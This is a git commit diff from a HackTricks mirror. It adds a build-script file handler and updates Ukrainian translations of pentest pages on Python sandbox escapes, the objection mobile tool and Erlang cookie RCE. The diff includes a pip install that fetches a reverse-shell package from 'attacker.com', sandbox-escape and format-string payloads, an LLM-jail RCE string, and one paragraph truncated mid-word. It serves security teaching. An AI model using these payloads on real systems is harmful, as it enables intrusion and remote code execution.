mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
ffb69939b5
commit
7bfa164746
@ -1,4 +1,5 @@
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
@ -68,6 +69,33 @@ def ref(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
def files(matchobj):
|
||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = ""
|
||||
|
||||
try:
|
||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||
if href in files:
|
||||
title = href
|
||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
if title=="":
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
result = template
|
||||
|
||||
return result
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
@ -105,6 +133,8 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||
new_content = re.sub(regex, files, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
|
@ -41,8 +41,7 @@ system('ls')
|
||||
```
|
||||
Пам'ятайте, що функції _**open**_ та _**read**_ можуть бути корисними для **читання файлів** всередині пісочниці python та для **написання коду**, який ви могли б **виконати** для **обходу** пісочниці.
|
||||
|
||||
> [!CAUTION]
|
||||
> Функція **Python2 input()** дозволяє виконувати код python перед тим, як програма зламається.
|
||||
> [!CAUTION] > Функція **Python2 input()** дозволяє виконувати код python до того, як програма зламається.
|
||||
|
||||
Python намагається **завантажити бібліотеки з поточної директорії спочатку** (наступна команда виведе, звідки python завантажує модулі): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
@ -80,10 +79,12 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Ви можете завантажити пакет для створення зворотного шеллу тут. Будь ласка, зверніть увагу, що перед використанням ви повинні **розпакувати його, змінити `setup.py` і вказати свою IP-адресу для зворотного шеллу**:
|
||||
|
||||
{% file src="../../../images/Reverse.tar (1).gz" %}
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!NOTE]
|
||||
> Цей пакет називається `Reverse`. Однак він був спеціально створений так, що коли ви виходите із зворотного шеллу, решта установки зазнає невдачі, тому ви **не залишите жодного додаткового python пакету встановленим на сервері**, коли ви підете.
|
||||
> Цей пакет називається `Reverse`. Однак він був спеціально створений так, що коли ви виходите із зворотного шеллу, решта установки зазнає невдачі, тому ви **не залишите жодного додаткового python пакету встановленим на сервері** після виходу.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
@ -292,7 +293,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Прочитайте файл з допомогою вбудованих функцій та ліцензії
|
||||
### Прочитайте файл з допомогою builtins та ліцензії
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -313,7 +314,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
|
||||
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, навіть читати або записувати файли, оскільки **всі глобальні функції** (як-от `open`, `import`, `print`...) **не завантажені**.\
|
||||
Коли у вас немає `__builtins__`, ви не зможете імпортувати нічого, навіть читати чи записувати файли, оскільки **всі глобальні функції** (як-от `open`, `import`, `print`...) **не завантажені**.\
|
||||
Однак, **за замовчуванням python імпортує багато модулів в пам'ять**. Ці модулі можуть здаватися безпечними, але деякі з них **також імпортують небезпечні** функціональності всередині, до яких можна отримати доступ для отримання навіть **випадкового виконання коду**.
|
||||
|
||||
У наступних прикладах ви можете спостерігати, як **зловживати** деякими з цих "**безпечних**" модулів, щоб **отримати доступ** до **небезпечних** **функціональностей** всередині них.
|
||||
@ -358,7 +359,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Нижче наведена більша функція**](#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **builtins**.
|
||||
[**Нижче наведена більша функція**](#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **вбудовані функції**.
|
||||
|
||||
#### Python2 та Python3
|
||||
```python
|
||||
@ -534,7 +535,7 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Рекурсивний пошук Builtins, Globals...
|
||||
## Рекурсивний пошук вбудованих, глобальних...
|
||||
|
||||
> [!WARNING]
|
||||
> Це просто **чудово**. Якщо ви **шукаєте об'єкт, наприклад globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.**
|
||||
@ -659,9 +660,9 @@ main()
|
||||
https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Python Форматний рядок
|
||||
## Python Format String
|
||||
|
||||
Якщо ви **надсилаєте** **рядок** до python, який буде **форматуватися**, ви можете використовувати `{}` для доступу до **внутрішньої інформації python.** Ви можете використовувати попередні приклади для доступу до глобальних або вбудованих функцій, наприклад.
|
||||
Якщо ви **надсилаєте** **рядок** до python, який буде **форматуватися**, ви можете використовувати `{}` для доступу до **внутрішньої інформації python.** Ви можете використовувати попередні приклади для доступу до globals або builtins, наприклад.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -681,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Зверніть увагу, як ви можете **отримати доступ до атрибутів** звичайним способом з **крапкою** як `people_obj.__init__` і **елементу dict** з **дужками** без лапок `__globals__[CONFIG]`
|
||||
Зверніть увагу, як ви можете **отримувати доступ до атрибутів** звичайним способом з **крапкою** як `people_obj.__init__` і **елементу dict** з **дужками** без лапок `__globals__[CONFIG]`
|
||||
|
||||
Також зверніть увагу, що ви можете використовувати `.__dict__` для перерахування елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
@ -690,7 +691,7 @@ get_name_for_avatar(st, people_obj = people)
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Крім того, можливо **створювати нові форматори** в класах:
|
||||
Крім того, можливо **створювати нові форматери** в класах:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -704,7 +705,7 @@ return 'HAL 9000'
|
||||
**Більше прикладів** про **формат** **рядків** можна знайти за посиланням [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!УВАГА]
|
||||
> Перевірте також наступну сторінку на наявність гаджетів, які можуть **читати чутливу інформацію з внутрішніх об'єктів Python**:
|
||||
> Перевірте також наступну сторінку на наявність гаджетів, які можуть r**ead sensitive information from Python internal objects**:
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
@ -726,7 +727,7 @@ secret_variable = "clueless"
|
||||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
### LLM Jails обход
|
||||
|
||||
З [тут](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
@ -736,7 +737,7 @@ str(x) # Out: clueless
|
||||
|
||||
Нагадаємо, що кожного разу, коли виконується дія в python, виконується якась функція. Наприклад, `2*3` виконає **`(2).mul(3)`** або **`{'a':'b'}['a']`** буде **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Ви можете знайти більше подібного в розділі [**Python execution without calls**](#python-execution-without-calls).
|
||||
Ви можете знайти більше подібного в розділі [**Виконання Python без викликів**](#python-execution-without-calls).
|
||||
|
||||
Вразливість форматного рядка python не дозволяє виконувати функцію (вона не дозволяє використовувати дужки), тому неможливо отримати RCE, як `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Однак, можливо використовувати `[]`. Тому, якщо у звичайній бібліотеці python є метод **`__getitem__`** або **`__getattr__**, який виконує довільний код, їх можна зловживати для отримання RCE.
|
||||
@ -774,7 +775,7 @@ pydll = LibraryLoader(PyDLL)
|
||||
> [!NOTE]
|
||||
> Якщо ви хочете **вивчити** **байт-код Python** детально, прочитайте цей **чудовий** пост на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
У деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно буде переглянути **внутрішню** частину **функції**, щоб витягти його.
|
||||
У деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно буде переглянути **внутрішню структуру** **функції**, щоб витягти його.
|
||||
|
||||
Це функція для перевірки:
|
||||
```python
|
||||
@ -922,7 +923,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
## Компіляція Python
|
||||
|
||||
Тепер уявімо, що якимось чином ви можете **вивантажити інформацію про функцію, яку ви не можете виконати**, але вам **потрібно** її **виконати**.\
|
||||
Як у наступному прикладі, ви **можете отримати доступ до об'єкта коду** цієї функції, але просто читаючи disassemble ви **не знаєте, як обчислити прапорець** (_уявіть більш складну функцію `calc_flag`_)
|
||||
Як у наступному прикладі, ви **можете отримати доступ до об'єкта коду** цієї функції, але просто читаючи disassemble, ви **не знаєте, як обчислити прапорець** (_уявіть більш складну функцію `calc_flag`_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -965,10 +966,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Відтворення витоку функції
|
||||
### Відтворення вкраденої функції
|
||||
|
||||
> [!WARNING]
|
||||
> У наступному прикладі ми будемо брати всі дані, необхідні для відтворення функції, безпосередньо з об'єкта коду функції. У **реальному прикладі** всі **значення**, необхідні для виконання функції **`code_type`**, це те, що **вам потрібно буде витягти**.
|
||||
> У наступному прикладі ми будемо використовувати всі дані, необхідні для відтворення функції, безпосередньо з об'єкта коду функції. У **реальному прикладі** всі **значення**, необхідні для виконання функції **`code_type`**, це те, що **вам потрібно буде вкрасти**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -981,10 +982,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Bypass Defenses
|
||||
|
||||
In previous examples at the beginning of this post, you can see **як виконати будь-який python код, використовуючи функцію `compile`**. This is interesting because you can **виконати цілі скрипти** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\
|
||||
Anyway, sometimes it could be useful to **створити** a **скомпільований об'єкт** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF).
|
||||
У попередніх прикладах на початку цього посту ви можете побачити **як виконати будь-який python код, використовуючи функцію `compile`**. Це цікаво, оскільки ви можете **виконувати цілі скрипти** з циклами і всім іншим в **одному рядку** (і ми могли б зробити те ж саме, використовуючи **`exec`**).\
|
||||
У будь-якому випадку, іноді може бути корисно **створити** **скомпільований об'єкт** на локальному комп'ютері та виконати його на **CTF машині** (наприклад, тому що у нас немає функції `compiled` в CTF).
|
||||
|
||||
For example, let's compile and execute manually a function that reads _./poc.py_:
|
||||
Наприклад, давайте скомпілюємо та виконаємо вручну функцію, яка читає _./poc.py_:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1011,7 +1012,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **належну функцію**, але прямий виклик зазвичай завершиться невдачею з повідомленням: _конструктор недоступний у обмеженому режимі_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.**
|
||||
Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **правильну функцію**, але прямий виклик зазвичай завершиться невдачею з повідомленням: _конструктор недоступний у обмеженому режимі_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1033,7 +1034,7 @@ f(42)
|
||||
|
||||
### Assert
|
||||
|
||||
Python, виконаний з оптимізаціями з параметром `-O`, видалить оператори assert та будь-який код, що залежить від значення **debug**.\
|
||||
Python, виконуваний з оптимізаціями з параметром `-O`, видалить оператори assert та будь-який код, що залежить від значення **debug**.\
|
||||
Отже, перевірки, такі як
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1054,5 +1055,4 @@ print(f"\nNot a Super User!!!\n")
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,15 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## **Вступ**
|
||||
|
||||
**objection - Дослідження мобільних додатків в режимі виконання**
|
||||
**objection - Дослідження мобільних додатків в реальному часі**
|
||||
|
||||
[**Objection**](https://github.com/sensepost/objection) - це набір інструментів для дослідження мобільних додатків в режимі виконання, що працює на базі [Frida](https://www.frida.re). Він був створений з метою допомогти оцінити мобільні додатки та їхню безпеку без необхідності використовувати пристрій з джейлбрейком або рут-доступом.
|
||||
[**Objection**](https://github.com/sensepost/objection) - це набір інструментів для дослідження мобільних додатків в реальному часі, що працює на базі [Frida](https://www.frida.re). Він був створений з метою допомогти оцінити мобільні додатки та їхню безпеку без необхідності використання джейлбрейкнутого або рутованого мобільного пристрою.
|
||||
|
||||
**Примітка:** Це не є формою обходу джейлбрейку / рут-доступу. Використовуючи `objection`, ви все ще обмежені всіма обмеженнями, накладеними відповідним пісочницею, з якою ви стикаєтеся.
|
||||
**Примітка:** Це не є формою обходу джейлбрейку / руту. Використовуючи `objection`, ви все ще обмежені всіма обмеженнями, накладеними відповідним пісочницею, з якою ви стикаєтеся.
|
||||
|
||||
### Резюме
|
||||
|
||||
@ -20,19 +18,21 @@
|
||||
|
||||
Для цього туторіалу я буду використовувати APK, який ви можете завантажити тут:
|
||||
|
||||
{% file src="../../../images/app-release.zip" %}
|
||||
{{#file}}
|
||||
app-release.zip
|
||||
{{#endfile}}
|
||||
|
||||
Або з його [оригінального репозиторію](https://github.com/asvid/FridaApp) (завантажити app-release.apk)
|
||||
Або з його [оригінального репозиторію](https://github.com/asvid/FridaApp)(завантажити app-release.apk)
|
||||
|
||||
### Встановлення
|
||||
```bash
|
||||
pip3 install objection
|
||||
```
|
||||
### З'єднання
|
||||
### Connection
|
||||
|
||||
Зробіть **звичайне з'єднання ADB** і **запустіть** сервер **frida** на пристрої (і перевірте, що frida працює як на клієнті, так і на сервері).
|
||||
Зробіть **звичайне ADB з'єднання** та **запустіть** сервер **frida** на пристрої (і перевірте, що frida працює як на клієнті, так і на сервері).
|
||||
|
||||
Якщо ви використовуєте **пристрій з root-доступом**, потрібно вибрати додаток, який ви хочете протестувати, у параметрі _**--gadget**_. у цьому випадку:
|
||||
Якщо ви використовуєте **рутований пристрій**, потрібно вибрати додаток, який ви хочете протестувати, у параметрі _**--gadget**_. у цьому випадку:
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
objection --gadget asvid.github.io.fridaapp explore
|
||||
@ -60,7 +60,7 @@ frida
|
||||
file download <remote path> [<local path>]
|
||||
file upload <local path> [<remote path>]
|
||||
```
|
||||
#### Імпорт скрипту frida
|
||||
#### Імпорт скрипта frida
|
||||
```bash
|
||||
import <local path frida-script>
|
||||
```
|
||||
@ -84,11 +84,7 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
|
||||
```
|
||||
### Статичний аналіз став динамічним
|
||||
|
||||
У реальному додатку ми повинні знати всю інформацію, виявлену в цій частині, перш ніж використовувати objection завдяки **статичному аналізу**. У будь-якому випадку, таким чином ви, можливо, зможете побачити **щось нове**, оскільки тут ви отримаєте лише повний список класів, методів та експортованих об'єктів.
|
||||
|
||||
Це також корисно, якщо якимось чином ви **не можете отримати читабельний вихідний код** додатку.
|
||||
|
||||
#### Список активностей, приймачів та сервісів
|
||||
У реальному додатку ми повинні знати всю інформацію, виявлену в цій частині, перш ніж використовувати objection завдяки **статичному аналізу**. У будь-якому випадку, таким чином ви, можливо, зможете побач
|
||||
```bash
|
||||
android hooking list activities
|
||||
```
|
||||
@ -107,7 +103,7 @@ android hooking get current_activity
|
||||
|
||||
#### Пошук класів
|
||||
|
||||
Давайте почнемо шукати класи всередині нашого додатку.
|
||||
Давайте почнемо шукати класи всередині нашого додатку
|
||||
```bash
|
||||
android hooking search classes asvid.github.io.fridaapp
|
||||
```
|
||||
@ -135,13 +131,13 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity
|
||||
```bash
|
||||
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
|
||||
```
|
||||
Це дуже корисно, якщо ви хочете **перехопити метод класу і знаєте лише назву класу**. Ви можете використовувати цю функцію, щоб **знайти, який модуль володіє класом** і потім перехопити його метод.
|
||||
Це дуже корисно, якщо ви хочете **перехопити метод класу і знаєте лише назву класу**. Ви можете використовувати цю функцію, щоб **знайти, який модуль належить класу** і потім перехопити його метод.
|
||||
|
||||
### Перехоплення є простим
|
||||
### Легкість перехоплення
|
||||
|
||||
#### Перехоплення (спостереження) методу
|
||||
|
||||
З [джерельного коду](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) програми ми знаємо, що **функція** _**sum()**_ **з** _**MainActivity**_ виконується **кожну секунду**. Спробуємо **вивантажити всю можливу інформацію** щоразу, коли функція викликається (аргументи, значення повернення та трасування):
|
||||
З [джерельного коду](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) програми ми знаємо, що **функція** _**sum()**_ **з** _**MainActivity**_ виконується **кожну секунду**. Спробуємо **вивантажити всю можливу інформацію** щоразу, коли викликається функція (аргументи, значення повернення та трасування):
|
||||
```bash
|
||||
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
@ -149,7 +145,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
|
||||
|
||||
#### Хукання (спостереження) за цілим класом
|
||||
|
||||
Насправді, всі методи класу MainActivity мені дуже цікаві, давайте **захукаємо їх усі**. Будьте обережні, це може **викликати збої** в додатку.
|
||||
Насправді, я вважаю всі методи класу MainActivity дуже цікавими, давайте **захукаємо їх усі**. Будьте обережні, це може **викликати збої** в додатку.
|
||||
```bash
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
@ -163,13 +159,13 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
|
||||
|
||||
.png>)
|
||||
|
||||
Тепер, якщо ви введете будь-що в текстове поле для PIN-коду, ви побачите, що будь-що є дійсним:
|
||||
Тепер, якщо ви введете будь-що в текстове поле для PIN-коду, ви побачите, що все є дійсним:
|
||||
|
||||
.png>)
|
||||
|
||||
### Екземпляри класу
|
||||
|
||||
Шукайте та друкуйте **живі екземпляри конкретного Java класу**, вказаного повністю кваліфікованим ім'ям класу. Ось результат спроби отримати значення рядка для виявленого objection, яке зазвичай **містить значення властивостей для об'єкта**.
|
||||
Шукайте та друкуйте **живі екземпляри конкретного Java класу**, вказаного повністю кваліфікованим ім'ям класу. Ось результат спроби отримати рядкове значення для виявленого objection, яке зазвичай **містить значення властивостей для об'єкта**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
@ -177,7 +173,7 @@ android heap print_instances <class>
|
||||
|
||||
### Keystore/Intents
|
||||
|
||||
Ви можете експериментувати з keystore та intents, використовуючи:
|
||||
Ви можете грати з keystore та intents, використовуючи:
|
||||
```bash
|
||||
android keystore list
|
||||
android intents launch_activity
|
||||
@ -185,7 +181,7 @@ android intent launch_service
|
||||
```
|
||||
### Пам'ять
|
||||
|
||||
#### Вивантаження
|
||||
#### Дамп
|
||||
```bash
|
||||
memory dump all <local destination> #Dump all memory
|
||||
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
|
||||
@ -224,3 +220,5 @@ exit
|
||||
- Методи хуків іноді призводять до збоїв програми (це також пов'язано з Frida).
|
||||
- Ви не можете використовувати екземпляри класів для виклику функцій екземпляра. І ви не можете створювати нові екземпляри класів і використовувати їх для виклику функцій.
|
||||
- Немає ярлика (як для sslpinnin), щоб підключити всі загальні криптографічні методи, що використовуються програмою, щоб побачити зашифрований текст, відкритий текст, ключі, IV та алгоритми, що використовуються.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
# Основна інформація
|
||||
|
||||
**Erlang Port Mapper Daemon (epmd)** слугує координатором для розподілених екземплярів Erlang. Він відповідає за відображення символічних імен вузлів на адреси машин, фактично забезпечуючи, щоб кожне ім'я вузла було пов'язане з конкретною адресою. Ця роль **epmd** є критично важливою для безперебійної взаємодії та комунікації між різними вузлами Erlang в мережі.
|
||||
**Erlang Port Mapper Daemon (epmd)** слугує координатором для розподілених екземплярів Erlang. Він відповідає за відображення символічних імен вузлів на адреси машин, фактично забезпечуючи, щоб кожне ім'я вузла було пов'язане з конкретною адресою. Ця роль **epmd** є вирішальною для безперебійної взаємодії та комунікації між різними вузлами Erlang в мережі.
|
||||
|
||||
**Порт за замовчуванням**: 4369
|
||||
```
|
||||
@ -40,9 +40,9 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
# Erlang Cookie RCE
|
||||
|
||||
## Віддалене з'єднання
|
||||
## Remote Connection
|
||||
|
||||
Якщо ви зможете **викрити автентифікаційний кукі**, ви зможете виконати код на хості. Зазвичай цей кукі знаходиться в `~/.erlang.cookie` і генерується erlang під час першого запуску. Якщо його не змінювали або не встановлювали вручну, це випадковий рядок \[A:Z] довжиною 20 символів.
|
||||
Якщо ви зможете **викрити автентифікаційне печиво**, ви зможете виконати код на хості. Зазвичай це печиво знаходиться в `~/.erlang.cookie` і генерується erlang під час першого запуску. Якщо його не змінювали або не встановлювали вручну, це випадковий рядок \[A:Z] довжиною 20 символів.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
